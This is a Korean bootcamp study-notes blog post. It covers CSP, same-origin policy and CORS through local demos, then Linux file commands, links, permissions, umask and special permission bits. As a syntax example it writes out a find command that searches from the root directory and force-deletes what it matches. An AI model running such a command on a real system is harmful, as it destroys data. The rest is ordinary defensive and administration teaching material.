[SK shieldus Rookies 19기] 시스템/네트워크 보안 기술 7일차

기록하는짱구·2024년 3월 29일
0

SK Shieldus Rookies 19기

목록 보기
22/43
post-thumbnail

📌 CSP(Content Security Policy, 컨텐츠 보안 정책)

https://developer.mozilla.org/ko/docs/Web/HTTP/CSP

https://ko.wikipedia.org/wiki/%EC%BD%98%ED%85%90%EC%B8%A0_%EB%B3%B4%EC%95%88_%EC%A0%95%EC%B1%85

📖 MDN

교차 사이트 스크립팅(XSS)과 데이터 주입 공격을 비롯한 특정 유형의 공격을 탐지하고 완화하는 데 도움이 되는 추가 보안 계층이며 이러한 공격은 데이터 절도에서 사이트 훼손, 멜 웨어 배포에 이르기까지의 모든 것에 사용됨

CSP를 활성화하려면 Content-Security-Policy (en-US) HTTP 헤더를 반환하도록 웹 서버를 구성해야 함 (가끔씩 X-Content-Security-Policy 헤더를 볼 수도 있지만, 이는 이전 버전이므로 더 이상 설정할 필요 X)

컨텐츠 보안 정책 구성은 Content-Security-Policy (en-US) HTTP 헤더를 웹 페이지에 추가하고 사용자 에이전트가 해당 페이지에 대해 로드할 수 있는 리소스를 제어하는 값을 지정하는 작업이 수반됨
▫ 예를 들어 이미지를 업로드하고 표시하는 페이지는 어디에서나 이미지를 허용할 수 있지만 폼 작업은 특정 엔드 포인트로 제한 가능

적절하게 설계된 콘텐츠 보안 정책은 교차 사이트 스크립팅 공격으로부터 페이지를 보호하는 데 도움이 됨

📖 위키 정의

신뢰된 웹 페이지 콘텍스트에서

📢 여기서 잠깐! 신뢰된 웹 페이지 콘텍스트란?
믿을 수 있는 웹 사이트로부터 제공된 페이지

악의적인 콘텐츠를 실행하게 하는 사이트 간 스크립팅(XSS), 클릭재킹, 그리고 기타 코드 인젝션 공격을

📢 여기서 잠깐! 악의적인 콘텐츠룰 실행한다는 의미는?
웹 브라우저에서 의도하지 않은 또는 공격자가 심어 놓은 코드가 실행

예방하기 위해 도입된 컴퓨터 보안 표준

웹 애플리케이션 보안의 W3C 워킹 그룹의 후보 권고안이며 현대의 웹 브라우저에 폭넓게 지원됨

CSP는 웹사이트 소유자들이 승인된 콘텐츠 오리진(origin)을 선언할 수 있게 하는 표준 방식을 제공하며

💡 컨텐츠를 제공하는 사람이 해당 컨텐츠의 출처를 기술할 수 있게 함

이를 통해 해당 웹 사이트들로부터 브라우저들이

자바스크립트, CSS, 프레임, 웹 워커, 글꼴, 이미지,
그리고 자바 애플릿, 액티브X, 오디오 및 비디오 파일,
그리고 기타 HTML5 기능들을

💡 위의 예들은 모두 웹 컨텐츠

사용할 수 있게 허용이 가능해짐

📖 크롬 확장 프로그램(Allow CSP)을 통해서 CSP가 적용되었을 때와 적용되지 않았을 때 동작 확인 가능

https://chromewebstore.google.com/detail/allow-csp-content-securit/hnojoemndpdjofcdaonbefcfecpjfflh?hl=ko&utm_source=ext_sidebar

📖 CSP 동작 확인

https://content-security-policy.com/browser-test/

✉ 오류 메시지

Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' www.googletagmanager.com platform.twitter.com syndication.twitter.com static.ads-twitter.com 'sha256-ewTm8QMx/IkmbIFAIapvCHoCrGgIIHhn8qKC7/5Y2Ro=' 
'unsafe-hashes' 'sha256-mplq9U9bn5xLaFQjbIOde0Eu7cXsI2xaTPex2jLztp0='
". Either the 'unsafe-inline' keyword, a hash ('sha256-Tp3DprVaw705+T32OJCWsffouY/zcJLOZrl1JYbbzz0='),
or a nonce ('nonce-...') is required to enable inline execution.

📜 오류가 발생하는 코드

  	  <script>
        //if CSP is supported this will not run
        window.onload=function(){
            var jsNode = document.getElementById("jsNode");
            jsNode.innerHTML = "<h3> CSP Not Supported</h3> Your browser does not support CSP, the inline script executed and replaced this div content";
            jsNode.className = "alert alert-danger";
        };
      </script>

📡 응답 헤더

default-src 'none'; 
script-src 'self'                  	--+ external script인 경우
									  | 해당 출처의 것만 사용이 가능
           www.googletagmanager.com	  | 
           platform.twitter.com    	  |   
           syndication.twitter.com	  | 
           static.ads-twitter.com   --+
           
           # internal script인 경우 해당 해시와 일치하는 경우에만 사용 가능 
           'sha256-ewTm8QMx/IkmbIFAIapvCHoCrGgIIHhn8qKC7/5Y2Ro='
         
			# inline script인 경우 해당 해시와 일치하는 경우에만 사용 허용	    				
           'unsafe-hashes' 	
           
           
           'sha256-mplq9U9bn5xLaFQjbIOde0Eu7cXsI2xaTPex2jLztp0='; 	  
style-src 'self' cdnjs.cloudflare.com fonts.googleapis.com 'sha256-akbuxUDobAg86+TiT5p8TENoFqlhtGWtEqHedhVNujw='; font-src fonts.gstatic.com cdnjs.cloudflare.com; 
img-src 'self' syndication.twitter.com t.co analytics.twitter.com; 
frame-src platform.twitter.com; 
connect-src *.google-analytics.com

📇 CSP가 동작하지 않았을 때 출력

📖 이미지의 경우

💻 CSP를 지원하지 않는 브라우저

💻 CSP를 지원하는 브라우저

📌 SOP & CORS

📖 Origin = 출처 = 기원 = 스킴(scheme + host + port)

http://www.test.com:80/path/file?param=value#page
~~~~   ~~~~~~~~~~~~ ~~
|      |            |
|      |            +-- 포트 번호 
|      +-- 호스트 주소 → IP 주소 or 도메인 주소 
+-- 스킴 = 프로토콜

http://www.test.com/files/mydoc.txt
http://www.test.com/datas/mydata
→ mydoc.txt와 mydata는 스킴, 호스트 주소, 포트 번호(생략된 80포트)가 모두 동일하므로 같은 출처의 자원

http://www.test.com/files/mydoc.txt
https://www.test.com/datas/mydata
→ 스킴이 다르므로 다른 출처의 자원

http://www.test.com/files/mydoc.txt
http://web.test.com/datas/mydata
→ 호스트 주소가 다르므로 다른 출처의 자원

http://www.test.com/files/mydoc.txt
http://www.test.com:80/datas/mydata
→ 브라우저에 따라 동일 출처로 보기도 하고 다른 출처로 보기도 함

📖 기본적으로 웹은 출처가 달라도 리소스를 사용하는 것이 가능

교차 기원 자원 요청

💻 명령 프롬프트에서 아래 명령어 실행

c:\Users\r2com> mkdir c:\test

c:\Users\r2com> cd c:\test

c:\test> code .


c:\test> python -m http.server			
Serving HTTP on :: port 8000 (http://[::]:8000/)  
                  								  → 파이썬 기본 웹 서버 실행
  							 명령어를 실행한 디렉터리를 웹 루트 디렉터리로 인식
  				    http://localhost:8000/file_name 형식으로 해당 디렉터리의 
   													     파일에 접근이 가능 	

💻 VSCode에서 test.html 파일 생성

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1>Hello!!!</h1>
</body>
</html>

💻 브라우저로 실행 확인

💻 test.html 파일에 이미지와 스크립트 코드 추가

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://code.jquery.com/jquery-3.7.1.js"></script>
    <script>
        $(() => {
            $('h1').css('color', 'red');
        })
    </script>
</head>
<body>
    <h1>Hello!!!</h1>

    <img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />
</body>
</html>

해당 문서의 출처
http://localhost:8000

이미지의 출처
https://i.pinimg.com

스크립트의 출처
https://code.jquery.com

문서의 출처와 이미지 및 스크립트의 출처가 다름에도 불구하고 해당 문서에서 이미지와 스크립트를 가져와서 사용하는 것이 가능
교차 출처 자원 요청이 가능

보안적인 이유로 스크립트를 이용해 가져오는 리소스는 같은 출처로 제한
→ SOP

💡 스크립트를 이용해 가져오는 리소스
= AJAX 통신을 통해서 가져오는 리소스

📖 SOP(Same Origin Policy, 동일 출처 정책)

https://developer.mozilla.org/ko/docs/Web/Security/Same-origin_policy

어떤 출처에서 불러온 문서나 스크립트가 다른 출처에서 가져온 리소스와 상호 작용할 수 있는 방법을 제한하는 중요한 보안 메커니즘

잠재적 악성 문서를 격리하여 가능한 공격 벡터를 줄이는 데 도움이 됨

예를 들어, 인터넷의 악의적인 웹사이트가 브라우저에서 JS를 실행하여 (사용자가 로그인 한) 타사 웹메일 서비스나 회사 인트라넷(공용 IP 주소가 없어 공격자의 직접적인 접근으로부터 보호)에서 데이터를 읽고 공격자에게 전달하는 공격이 있다면 이를 방지함

💻 자바스크립트를 이용해 동일 출처의 자원을 가져와 사용

➕ datas\myinfo 파일 추가

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://code.jquery.com/jquery-3.7.1.js"></script>
    <script>
        function setUserInfo() {
            const xhr = new XMLHttpRequest();
            xhr.onload = function() {
                document.getElementById("userinfo").innerHTML = this.responseText;
            }
            xhr.open('GET', 'http://localhost:8000/datas/myinfo', true);
            xhr.send();
        }

        $(() => {
            $('h1').css('color', 'red');
            setUserInfo();
        })
    </script>
</head>
<body>
    <h1>Hello!!!</h1>

    <img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />

    <div id="userinfo"></div>
</body>
</html>

▫ 해당 페이지와 같은 출처(http://localhost:8000)의 리소스(myinfo)는 자바스크립트를 이용해 가져오고 사용할 수 있음

💻 자바스크립트를 이용해 다른 출처의 자원을 가져와 사용

⏸ 명령 프롬프트에서 새로운 웹 서버 실행

# 9000번 포트로 서버 실행
c:\test> python -m http.server 9000		

Serving HTTP on :: port 9000 (http://[::]:9000/) ...

🧐 또 다른 명령 프롬프트를 실행해서 새로운 웹 서버의 리소스가 제공되는 것을 확인

c:\Users\crpark> curl http://localhost:9000/datas/myinfo
{ "name": "홍길동", "age": 23, "email": "hong@test.com" }

✍ 소스 코드에 해당 리소스를 가져오도록 수정

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://code.jquery.com/jquery-3.7.1.js"></script>
    <script>
        function setUserInfo() {
            const xhr = new XMLHttpRequest();
            xhr.onload = function() {
                document.getElementById("userinfo").innerHTML = this.responseText;
            }
            xhr.open('GET', 'http://localhost:9000/datas/myinfo', true);
            				 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
            xhr.send();
        }

        $(() => {
            $('h1').css('color', 'red');
            setUserInfo();
        })
    </script>
</head>
<body>
    <h1>Hello!!!</h1>

    <img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />

    <div id="userinfo"></div>
</body>
</html>

문서의 출처 → http://localhost:8000
JavaScript로 가져오는 리소스의 출처 → http://localhost:9000

포트가 상이
→ 문서의 출처와 리소스의 출처가 다름
→ 해당 문서에 리소스를 가져왔으나 사용할 수는 없음
→ SOP 어긋남
→ 자바스크립트를 이용해 가져오는 리소스는 동일 출처로 제한

📖 CORS(Cross Origin Resource Sharing, 교차 출처 자원 공유)

https://developer.mozilla.org/ko/docs/Web/HTTP/CORS

추가 HTTP 헤더를 사용하여

💡 HTTP 헤더
→ Access-Control-Allow-Origin

한 출처에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제

웹 애플리케이션은 리소스가 자신의 출처(도메인, 프로토콜, 포트)와 다를 때 교차 출처 HTTP 요청을 실행

✍ Access-Control-Allow-Origin 헤더를 제공하는 사이트로 리소스를 요청하도록 코드 수정

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://code.jquery.com/jquery-3.7.1.js"></script>
    <script>
        function setUserInfo() {
            const xhr = new XMLHttpRequest();
            xhr.onload = function() {
                document.getElementById("userinfo").innerHTML = this.responseText;
            }
            xhr.open('GET', 'https://microsoftedge.github.io/Demos/json-dummy-data/64KB.json', true);
            				 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
            xhr.send();
        }

        $(() => {
            $('h1').css('color', 'red');
            setUserInfo();
        })
    </script>
</head>
<body>
    <h1>Hello!!!</h1>

    <img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />

    <div id="userinfo"></div>
</body>
</html>

문서의 출처 → http://localhost:8000
자바스크립트로 가져오는 리소스의 출처 → https://microsoftedge.github.io

문서의 출처와 리소스의 출처가 다름에도 불구하고 해당 문서에 리소스를 사용할 수 있는 것은 Access-Control-Allow-Origin 응답 헤더의 값 범위 문서의 출처가 포함되어 있기 때문

✍ 소스 코드를 원래(http://localhost:9000)대로 고치고 Allow CORS 크롬 확장 프로그램을 이용해서 A-C-A-O 헤더 추가

https://chromewebstore.google.com/detail/allow-cors-access-control/lhobafahddgcelffkeicbaginigeejlf?hl=ko&utm_source=ext_sidebar

📌 파일 및 디렉터리 관리

https://wikidocs.net/213395

📖 touch

파일의 최종 접속 시간, 수정 시간 등 타임스탬프를 변경

┌──(kali㉿kali)-[~]
└─$ mkdir LAB   
                                                                                  
┌──(kali㉿kali)-[~]
└─$ cd LAB
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ touch myfile                     
          ~~~~~~
          # 파일명 → 해당 파일이 존재하지 않으면 크기가 0인 빈 파일 생성
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Mar 29 01:10 myfile

┌──(kali㉿kali)-[~/LAB]
└─$ touch -t 202401012255 myfile  
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jan  1 22:55 myfile

                                                                                 
┌──(kali㉿kali)-[~/LAB]
└─$ touch newfile               
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jan  1 22:55 myfile
-rw-r--r-- 1 kali kali 0 Mar 29 01:14 newfile

                                                                                 
┌──(kali㉿kali)-[~/LAB]
└─$ touch -r myfile newfile     
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jan  1 22:55 myfile	
-rw-r--r-- 1 kali kali 0 Jan  1 22:55 newfile
											→ myfile의 시간과 동일하게 변경

📖 find

파일 또는 디렉터리 검색 명령어

find / -name file -exec rm -rf {}\;
     ~ ~~~~~~~~~~ ~~~~~~~~~~~~~~~~~
     |  |         |
     |  |         +-- 액션
     |  +-- 검색 조건
     +-- 검색 범위

🔍 조건

조건
-name이름으로 검색
-type파일 타입으로 검색 (d: 디렉터리, f: 파일)
-perm권한으로 검색
-user소유자로 검색
-size파일 크기로 검색 (+ : 이상, - : 이하)
C, K, M, G
-atime파일의 마지막 접근 시간으로 검색
-mtime파일의 마지막 수정 시간으로 검색

🔍 액션

액션
-ls결과 출력
-exec검색한 파일을 특정 명령어로 실행
→ 예) -exec 실행할명령어 {}\;
┌──(kali㉿kali)-[~/LAB]
└─$ ls   
myfile  newfile
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ rm -rf *                    
zsh: sure you want to delete all 2 files in /home/kali/LAB [yn]? y


┌──(kali㉿kali)-[~/LAB]
└─$ touch bbb              
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ touch ccc
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ touch ddd
               
                                                                                 
┌──(kali㉿kali)-[~/LAB]
└─$ find ~/ -name LAB -type d -ls
  4372376      4 drwxr-xr-x   2 kali     kali         4096 Mar 29 01:25 /home/kali/LAB

                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ find ~/ -name bbb -type f -exec rm -f {} \;
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls 
ccc  ddd

📖 하드 링크와 심볼릭 링크

┌──(kali㉿kali)-[~/LAB]
└─$ rm -rf *
zsh: sure you want to delete all 2 files in /home/kali/LAB [yn]? y

🔍 원본, 카피, 하드 링크, 심볼릭 링크 파일을 생성 및 내용 확인

┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello Kali" > org_file
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cp org_file org_file_cp     # 원본 파일의 복사본 생성 → cp 명령 이용
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ln org_file org_file_hl	    # 원본 파일의 하드 링크 파일 생성 → ln 명령 이용
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ln -s org_file org_file_sl	# 원본 파일의 심볼릭 링크 파일 생성 → ln -s 명령 이용
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l                           
total 12
-rw-r--r-- 2 kali kali 11 Mar 29 01:35 org_file
-rw-r--r-- 1 kali kali 11 Mar 29 01:36 org_file_cp
-rw-r--r-- 2 kali kali 11 Mar 29 01:35 org_file_hl
lrwxrwxrwx 1 kali kali  8 Mar 29 01:38 org_file_sl -> org_file
~~~~~~~~~~ ~ ~~~~~~~~~ ~~ ~~~~~~~~~~~~ ~~~~~~~~~~~
|          |  |        |   |            파일 이름
|          |  |        |   +-- 파일 변경 일시
|          |  |        +-- 파일 크기(byte)	→ 심볼릭 링크인 경우 원본 파일의
|		   |  |							      파일명 길이가 파일 크기로 설정
|          |  +-- 파일 소유자 이름 + 파일 소유자 그룹 이름
|          +-- 링크 수 
+-- 파일 유형 + 파일 허가권
                                                                                 
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file
Hello Kali					→ 모든 파일의 내용이 동일
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_cp
Hello Kali
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_hl
Hello Kali
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_sl
Hello Kali

🔍 원본 파일에 새로운 내용을 추가하고 내용 확인

┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello Linux" >> org_file
					   ~~
                       # 기존 파일에 내용을 추가(append)
                                                         
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l 
total 12
-rw-r--r-- 2 kali kali 23 Mar 29 01:48 org_file
-rw-r--r-- 1 kali kali 11 Mar 29 01:36 org_file_cp
-rw-r--r-- 2 kali kali 23 Mar 29 01:48 org_file_hl
lrwxrwxrwx 1 kali kali  8 Mar 29 01:38 org_file_sl -> org_file
                                 
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file   
Hello Kali
Hello Linux
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_cp		  → 복사한 파일을 제외하고 모두 내용이 변경된 것을 확인
Hello Kali
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_hl
Hello Kali
Hello Linux
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_sl
Hello Kali
Hello Linux

🔍 원본 파일을 삭제하고 파일의 내용 확인

┌──(kali㉿kali)-[~/LAB]
└─$ rm -f org_file   
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 8
-rw-r--r-- 1 kali kali 11 Mar 29 01:36 org_file_cp
-rw-r--r-- 1 kali kali 23 Mar 29 01:48 org_file_hl
lrwxrwxrwx 1 kali kali  8 Mar 29 01:38 org_file_sl -> org_file
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_cp
Hello Kali
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_hl
Hello Kali
Hello Linux
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_sl
cat: org_file_sl: No such file or directory
		               → 원본 파일이 삭제되면 심볼릭 링크는 내용을 확인할 수 없음

🔍 전체 파일을 삭제하고 원본, 하드링크, 심볼릭링크 파일 생성 및 확인

┌──(kali㉿kali)-[~/LAB]
└─$ rm -f *       
zsh: sure you want to delete all 3 files in /home/kali/LAB [yn]? y
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello Kali" > org_file  
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ln org_file org_file_hl   
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ln -s org_file org_file_sl
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l                     
total 8
-rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file
-rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file_hl
lrwxrwxrwx 1 kali kali  8 Mar 29 01:55 org_file_sl -> org_file

🔍 파일의 i-node 정보 확인

┌──(kali㉿kali)-[~/LAB]
└─$ ls -il  

total 8
4372675 -rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file
4372675 -rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file_hl
4372680 lrwxrwxrwx 1 kali kali  8 Mar 29 01:55 org_file_sl -> org_file
~~~~~~~
# i-node

구분하드 링크심볼릭 링크
ln 명령어 옵션X-s
링크 개수링크마다 1씩 증가링크 개수 증가 X
파일 용량원본 용량과 동일원본 파일명의 길이
다른 파일 시스템불가가능
디렉터리불가가능
원본 파일 내용접근 가능접근 가능
파일 내용 수정수정 가능수정 가능
원본 파일 삭제링크 파일 접근 가능링크 파일 접근 불가 → 고아 링크
퍼미션퍼미션 의미 있음의미 없음

📖 권한 설정

📝 파일·디렉터리의 소유와 허가권

 u   g   o
 7   5   5
111 101 101
rwx r-x r-x

🔄 chmod → 파일의 권한 변경

chmod 777 sample.txt

🔄 chown / chgrp → 파일의 소유자 / 그룹 변경

chown tester.tester sample.txt 		→ 소유자와 그룹을 tester로 변경

chown tester sample.txt
chgrp tester sample.txt

👨‍💻 사용자 생성

┌──(kali㉿kali)-[~/LAB]
└─$ sudo adduser gildong				→ 사용자 추가 
[sudo] password for kali: kali

info: Adding user `gildong' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `gildong' (1002) ...
info: Adding new user `gildong' (1002) with group `gildong (1002)' ...
info: Creating home directory `/home/gildong' ...
info: Copying files from `/etc/skel' ...
New password: 
Retype new password: 
passwd: password updated successfully
Changing the user information for gildong
Enter the new value, or press ENTER for the default
        Full Name []: 
        Room Number []: 
        Work Phone []: 
        Home Phone []: 
        Other []: 
Is the information correct? [Y/n] 
info: Adding new user `gildong' to supplemental / extra groups `users' ...
info: Adding user `gildong' to group `users' ...

🧐 파일을 생성해서 소유자가 읽고 쓸 수 있는지 확인

┌──(kali㉿kali)-[~/LAB]
└─$ touch sample
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Mar 29 02:40 sample
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello" >> sample        	→ sample 파일을 읽고 쓸 수 있음
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ cat sample     
Hello

✍ 다른 사용자로 로그인해서 해당 파일을 읽고 쓸 수 있는지 확인

┌──(kali㉿kali)-[~/LAB]
└─$ id         
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),106(bluetooth),113(scanner),135(wireshark),137(kaboxer)
                                                                                 
┌──(kali㉿kali)-[~/LAB]
└─$ sudo su gildong     

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$                                        

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ id                                                                            
uid=1002(gildong) gid=1002(gildong) groups=1002(gildong),100(users)

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l                                                                         
total 4
-rw-r--r-- 1 kali kali 6 Mar 29 02:40 sample	
	   ~~~
	   # gildong은 sample 파일을 읽는 것만 가능

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ cat sample
Hello

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ echo "Kali" >> sample					
									  → 쓰기 권한이 없기 때문에 권한 오류 발생
bash: sample: Permission denied

💁‍♀️ 파일 소유자로 전환해서 other user에게 쓰기 권한을 부여

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ exit
exit
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l        
total 4
-rw-r--r-- 1 kali kali 6 Mar 29 02:40 sample
        
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 646 sample				 → chmod o+w sample 동일
                                             ~~~                                            
┌──(kali㉿kali)-[~/LAB]       	       u: user     +: 추가    r: 읽기       	
└─$ ls -l 				               g: group    -: 삭제    w: 쓰기
total 4					         	   o: other               x: 실행  
-rw-r--rw- 1 kali kali 6 Mar 29 02:40 sample

🔍 gildong 사용자가 쓰기 가능한지 확인


┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l 
total 4
-rw-r--rw- 1 kali kali 6 Mar 29 02:40 sample

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ echo "Kali" >> sample

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ cat sample
Hello
Kali


┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ exit
exit
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f *
zsh: sure you want to delete the only file in /home/kali/LAB [yn]? y

📖 umask

파일의 기본 권한은 666, 디렉터리의 기본 권한은 777

해당 시스템에 설정된 umask 값 만큼 기본 권한에 제거한 권한을 파일과 디렉터리에 부여

umask 값에 보수를 취한 다음 AND 연산해서 권한을 설정

┌──(kali㉿kali)-[~/LAB]
└─$ touch myfile
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ mkdir mydir
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 4
drwxr-xr-x 2 kali kali 4096 Mar 29 02:58 mydir		→ 755
-rw-r--r-- 1 kali kali    0 Mar 29 02:58 myfile		→ 644
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ umask							→ 현재 설정된 umask 값 확인
022



┌──(kali㉿kali)-[~/LAB]
└─$ umask 775						→ umask 값 변경
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ umask    
0775

┌──(kali㉿kali)-[~/LAB]
└─$ touch newfile
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ touch newdir 
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 4
drwxr-xr-x 2 kali kali 4096 Mar 29 02:58 mydir
-rw-r--r-- 1 kali kali    0 Mar 29 02:58 myfile
--------w- 1 kali kali    0 Mar 29 03:07 newdir		→ 002
--------w- 1 kali kali    0 Mar 29 03:07 newfile	→ 002

 775	⇒ (이진수) ⇒ 111 111 101 ⇒ (보수) ⇒ 000 000 010 
 777   ⇒ (이진수)                          ⇒ 111 111 111
                                 AND ⇒ 000 000 010 ⇒ (십진수) 002
 666   	⇒ (이진수)                          ⇒ 110 110 110
                                 AND ⇒ 000 000 010 ⇒ (십진수) 002

💻 원래 umask로 변경하고 파일 삭제

┌──(kali㉿kali)-[~/LAB]
└─$ umask 22 
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ umask       
022
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f *
zsh: sure you want to delete all 4 files in /home/kali/LAB [yn]? y
rm: cannot remove 'mydir': Is a directory

📖 특수 권한

SetUID		4xxx		→ 파일 소유자의 ID로 유효 사용자(EUID)가 변경되어 실행
SetGID		2xxx
Sticky Bit 	1xxx

┌──(kali㉿kali)-[~/LAB]
└─$ ls -l /usr/bin/passwd 					
-rwsr-xr-x 1 root root 72344 Oct 15 13:10 /usr/bin/passwd		→ 실행 파일 
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l /etc/shadow    			  → 사용자의 패스워드 정보가 들어 있는 파일
-rw-r----- 1 root shadow 1657 Mar 29 02:38 /etc/shadow

💁‍♀️ 실행 권한이 없는 일반 파일에 특수 권한 부여

┌──(kali㉿kali)-[~/LAB]
└─$ touch setuid
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ touch setgid
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ touch sticky
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ll
total 0
-rw-r--r-- 1 kali kali 0 Mar 29 03:41 setgid
-rw-r--r-- 1 kali kali 0 Mar 29 03:41 setuid
-rw-r--r-- 1 kali kali 0 Mar 29 03:41 sticky
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 4666 setuid		→ 4000(setuid) + 666(rw-rw-rw-) 
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 2666 setgid		→ 2000(setgid) + 666(rw-rw-rw-) 
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 1666 sticky 		→ 1000(sticky) + 666(rw-rw-rw-) 
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ll				→ ls -l
total 0
-rw-rwSrw- 1 kali kali 0 Mar 29 03:41 setgid
-rwSrw-rw- 1 kali kali 0 Mar 29 03:41 setuid	   
-rw-rw-rwT 1 kali kali 0 Mar 29 03:41 sticky	  
						→ 특수 권한을 부여하면 실행 권한 부분에 특수 권한 표시
         		          SetUID, SetGID는 user와 group 자리에 S로 표시
                		  Sticky Bit는 other 자리에 T로 표시
                                                     

💁‍♀️ 실행 권한 부여

┌──(kali㉿kali)-[~/LAB]
└─$ chmod u+x setuid   
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ chmod g+x setgid
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ chmod o+x sticky 
                                                                                  
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-rwsrw- 1 kali kali 0 Mar 29 03:41 setgid	
